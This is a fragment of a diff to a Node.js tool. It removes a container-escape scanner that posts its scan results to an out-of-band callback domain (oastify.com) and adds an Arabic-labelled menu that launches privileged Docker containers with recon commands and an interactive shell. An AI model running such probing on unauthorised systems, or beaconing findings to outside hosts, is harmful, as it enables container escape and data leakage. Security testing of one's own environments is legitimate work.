734
- console.log(` ${i + 1}. ${issue.name || issue.id}`);
735
- issue.evidence.forEach(ev => console.log(` - ${ev}`));
736
- });
737
- }
738
-
739
- console.log('\n💡 RECOMMENDATIONS:');
740
- summary.recommendations.forEach((rec, i) => {
741
- console.log(` ${i + 1}. ${rec}`);
279
+ async waitForUserDecision() {
280
+ const readline = require('readline').createInterface({
281
+ input: process.stdin,
282
+ output: process.stdout
742
283
  });
743
284
 
744
- console.log('\n📡 OAST REPORTING:');
745
- console.log(` Domain: ${CONFIG.OAST.domain}`);
746
- console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
747
- console.log(` Interactions sent: ${STATE.oastInteractions.length}`);
748
- console.log(` Check OAST for detailed evidence: https://oastify.com`);
749
-
750
- console.log('\n' + '═'.repeat(80));
751
- console.log('🎯 SCAN COMPLETE');
752
-
753
- if (summary.escapedContainers.length > 0) {
754
- console.log('🚨 SECURITY ALERT: Container escape vectors detected!');
755
- console.log('🔒 Immediate remediation required.');
756
- } else {
757
- console.log('✅ No critical escape vectors detected.');
758
- console.log('🛡️ Regular security monitoring recommended.');
759
- }
760
-
761
- console.log('═'.repeat(80));
762
- }
763
-
764
- async saveReport(report) {
765
- const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
766
- const filename = `multi-container-scan-${timestamp}.json`;
767
-
768
- try {
769
- fs.writeFileSync(filename, JSON.stringify(report, null, 2));
770
- console.log(`\n💾 Full report saved to: ${filename}`);
771
-
772
- // Also save a summary file
773
- const summaryFilename = `scan-summary-${timestamp}.txt`;
774
- let summaryText = `MULTI-CONTAINER ESCAPE SCAN SUMMARY\n`;
775
- summaryText += `Date: ${new Date().toLocaleString()}\n`;
776
- summaryText += `Session ID: ${CONFIG.OAST.sessionId}\n\n`;
777
-
778
- summaryText += `STATISTICS:\n`;
779
- summaryText += ` Total containers: ${report.statistics.totalContainers}\n`;
780
- summaryText += ` Escaped containers: ${report.summary.escapedContainers.length}\n`;
781
- summaryText += ` Critical issues: ${report.summary.criticalIssues.length}\n\n`;
782
-
783
- if (report.summary.escapedContainers.length > 0) {
784
- summaryText += `CRITICAL CONTAINERS:\n`;
785
- report.summary.escapedContainers.forEach(container => {
786
- summaryText += ` - ${container.name || container.id} (${container.confidence}%)\n`;
787
- });
788
- summaryText += '\n';
789
- }
790
-
791
- summaryText += `OAST DETAILS:\n`;
792
- summaryText += ` Domain: ${CONFIG.OAST.domain}\n`;
793
- summaryText += ` Session: ${CONFIG.OAST.sessionId}\n`;
794
- summaryText += ` Interactions: ${STATE.oastInteractions.length}\n`;
795
-
796
- fs.writeFileSync(summaryFilename, summaryText);
797
- console.log(`📝 Summary saved to: ${summaryFilename}`);
798
-
799
- } catch (error) {
800
- console.error('❌ Failed to save report:', error.message);
801
- }
802
- }
803
-
804
- exec(command) {
805
- return new Promise((resolve, reject) => {
806
- exec(command, { timeout: 10000 }, (error, stdout, stderr) => {
807
- if (error) {
808
- reject(error);
809
- } else {
810
- resolve(stdout.toString().trim());
285
+ return new Promise((resolve) => {
286
+ readline.question('\nاختر رقم الخيار: ', async (answer) => {
287
+ switch(answer.trim()) {
288
+ case '1':
289
+ await this.getInteractiveShell();
290
+ readline.close();
291
+ await this.cleanup();
292
+ resolve();
293
+ break;
294
+
295
+ case '2':
296
+ readline.close();
297
+ await this.cleanup();
298
+ resolve();
299
+ break;
300
+
301
+ case '3':
302
+ default:
303
+ readline.close();
304
+ console.log('👋 تم الخروج. الحاوية لا تزال تعمل.');
305
+ console.log(` Container ID: ${this.containerId}`);
306
+ console.log(' يمكنك تنظيفها يدوياً:');
307
+ console.log(` docker stop ${this.containerId}`);
308
+ console.log(` docker rm ${this.containerId}`);
309
+ resolve();
310
+ break;
811
311
  }
812
312
  });
813
313
  });
814
314
  }
815
315
  }
816
316
 
817
- // ===================== MAIN EXECUTION =====================
317
+ // ===================== النسخة المبسطة =====================
318
+ function runSimplePrivilegedContainer() {
319
+ console.log('🚀 جاري تشغيل: docker run --privileged -it ubuntu:latest /bin/bash\n');
320
+
321
+ const dockerProcess = spawn('docker', [
322
+ 'run', '--privileged', '-it', 'ubuntu:latest', '/bin/bash'
323
+ ], {
324
+ stdio: 'inherit'
325
+ });
326
+
327
+ dockerProcess.on('close', (code) => {
328
+ console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
329
+ });
330
+
331
+ // التعامل مع إشارات الإغلاق
332
+ process.on('SIGINT', () => {
333
+ console.log('\n\n⚠️ تم استقبال Ctrl+C...');
334
+ dockerProcess.kill('SIGINT');
335
+ });
336
+ }
337
+
338
+ // ===================== النسخة مع أوامر مسبقة =====================
339
+ function runWithPredefinedCommands() {
340
+ console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
341
+
342
+ const commands = [
343
+ 'echo "=== مرحباً من الحاوية المميزة ==="',
344
+ 'cat /etc/os-release | grep PRETTY_NAME',
345
+ 'uname -a',
346
+ 'whoami',
347
+ 'id',
348
+ 'echo "=== الصلاحيات ==="',
349
+ 'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
350
+ 'echo "=== انتهى ==="',
351
+ 'exit 0'
352
+ ];
353
+
354
+ const dockerProcess = spawn('docker', [
355
+ 'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
356
+ ]);
357
+
358
+ dockerProcess.stdout.on('data', (data) => {
359
+ console.log(data.toString());
360
+ });
361
+
362
+ dockerProcess.stderr.on('data', (data) => {
363
+ console.error(data.toString());
364
+ });
365
+
366
+ dockerProcess.on('close', (code) => {
367
+ console.log(`\n✅ انتهى مع الكود: ${code}`);
368
+ });
369
+ }
370
+
371
+ // ===================== الوظيفة الرئيسية =====================
818
372
  async function main() {
819
- console.log('🚀 Starting Multi-Container Escape Scanner...\n');
820
- console.log('⚙️ Configuration:');
821
- console.log(` OAST Domain: ${CONFIG.OAST.domain}`);
822
- console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
823
- console.log(` Parallel scans: ${CONFIG.SCAN.parallelScans}`);
824
- console.log(` Deep scan: ${CONFIG.SCAN.deepScan ? 'Yes' : 'No'}`);
373
+ console.log(`
374
+ ╔══════════════════════════════════════════════════════════╗
375
+ ║ تشغيل حاوية Docker مميزة ║
376
+ ║ Privileged Container Runner ║
377
+ ╚══════════════════════════════════════════════════════════╝
378
+ `);
825
379
 
826
- // Initial OAST ping
827
- console.log('\n📡 Sending initial OAST ping...');
828
- try {
829
- const req = https.request({
830
- hostname: CONFIG.OAST.domain,
831
- port: CONFIG.OAST.httpsPort,
832
- path: '/scan-start',
833
- method: 'POST',
834
- headers: {
835
- 'Content-Type': 'application/json',
836
- 'X-Session-ID': CONFIG.OAST.sessionId
837
- }
838
- });
839
-
840
- req.write(JSON.stringify({
841
- action: 'scan_start',
842
- timestamp: new Date().toISOString(),
843
- config: {
844
- parallelScans: CONFIG.SCAN.parallelScans,
845
- maxContainers: CONFIG.SCAN.maxContainers
846
- }
847
- }));
848
- req.end();
849
- } catch (e) {}
380
+ console.log('📋 اختر طريقة التشغيل:');
381
+ console.log(' 1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
382
+ console.log(' 2. تشغيل مع أوامر مسبقة وعرض الناتج');
383
+ console.log(' 3. تشغيل متقدم مع تقرير كامل');
384
+ console.log(' 4. خروج');
850
385
 
851
- // Create scanner and run
852
- const scanner = new MultiContainerScanner();
386
+ const readline = require('readline').createInterface({
387
+ input: process.stdin,
388
+ output: process.stdout
389
+ });
853
390
 
854
- try {
855
- // Discover containers
856
- const containerIds = await scanner.discoverContainers();
857
-
858
- if (containerIds.length === 0) {
859
- console.log('No containers to scan. Exiting.');
860
- process.exit(0);
861
- }
862
-
863
- // Scan containers
864
- const results = await scanner.scanContainers(containerIds);
865
-
866
- // Generate report
867
- const report = await scanner.generateReport();
868
-
869
- // Send final report to OAST
870
- console.log('\n📡 Sending final report to OAST...');
871
- try {
872
- const finalReq = https.request({
873
- hostname: CONFIG.OAST.domain,
874
- port: CONFIG.OAST.httpsPort,
875
- path: '/scan-complete',
876
- method: 'POST',
877
- headers: {
878
- 'Content-Type': 'application/json',
879
- 'X-Session-ID': CONFIG.OAST.sessionId,
880
- 'X-Final-Report': 'true'
881
- }
882
- });
883
-
884
- finalReq.write(JSON.stringify({
885
- action: 'scan_complete',
886
- timestamp: new Date().toISOString(),
887
- statistics: report.statistics,
888
- summary: report.summary,
889
- sessionId: CONFIG.OAST.sessionId
890
- }));
891
-
892
- finalReq.end();
893
- console.log('✅ Final report sent to OAST.');
894
- } catch (e) {
895
- console.log('⚠️ Could not send final report to OAST (may be expected)');
896
- }
897
-
898
- // Exit with appropriate code
899
- if (report.summary.escapedContainers.length > 0) {
900
- console.log('\n⚠️ Exiting with warning code (containers can escape)');
901
- process.exit(2);
902
- } else {
903
- console.log('\n✅ Scan completed successfully.');
904
- process.exit(0);
391
+ readline.question('\nاختر رقم: ', async (choice) => {
392
+ switch(choice.trim()) {
393
+ case '1':
394
+ readline.close();
395
+ runSimplePrivilegedContainer();
396
+ break;
397
+
398
+ case '2':
399
+ readline.close();
400
+ runWithPredefinedCommands();
401
+ break;
402
+
403
+ case '3':
404
+ readline.close();
405
+ const runner = new PrivilegedContainerRunner();
406
+ await runner.run();
407
+ break;
408
+
409
+ default:
410
+ readline.close();
411
+ console.log('👋 تم الخروج');
412
+ break;
905
413
  }
906
-
907
- } catch (error) {
908
- console.error('\n❌ Scan failed:', error.message);
909
- process.exit(1);
910
- }
414
+ });
911
415
  }
912
416
 
913
- // ===================== EXECUTE =====================
417
+ // ===================== تشغيل مباشر من السطر =====================
914
418
  if (require.main === module) {
915
- // Check if Docker is available
419
+ // التحقق من تثبيت Docker
916
420
  exec('which docker', (error) => {
917
421
  if (error) {
918
- console.error('❌ Docker is not available or not in PATH.');
919
- console.error(' This tool requires Docker to be installed and accessible.');
422
+ console.error('❌ Docker غير مثبت أو غير موجود في PATH');
423
+ console.log(' يرجى تثبيت Docker أولاً:');
424
+ console.log(' https://docs.docker.com/get-docker/');
920
425
  process.exit(1);
921
426
  }
922
427
 
923
- // Check if we have permission to run docker commands
428
+ // التحقق من الصلاحيات
924
429
  exec('docker ps', (error) => {
925
430
  if (error && error.message.includes('permission denied')) {
926
- console.error('❌ Permission denied for Docker commands.');
927
- console.error(' Try running with sudo or add your user to docker group.');
431
+ console.error('❌ ليس لديك صلاحيات تشغيل Docker');
432
+ console.log(' حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
433
+ console.log(' sudo usermod -aG docker $USER');
434
+ console.log(' ثم سجل الخروج وأدخل مرة أخرى');
928
435
  process.exit(1);
929
436
  }
930
437
 
931
- // Start the scan
438
+ // بدء البرنامج
932
439
  main();
933
440
  });
934
441
  });
935
442
  }
936
443
 
937
- module.exports = { MultiContainerScanner, ContainerScanner };
444
+ module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };
Binary file
Binary file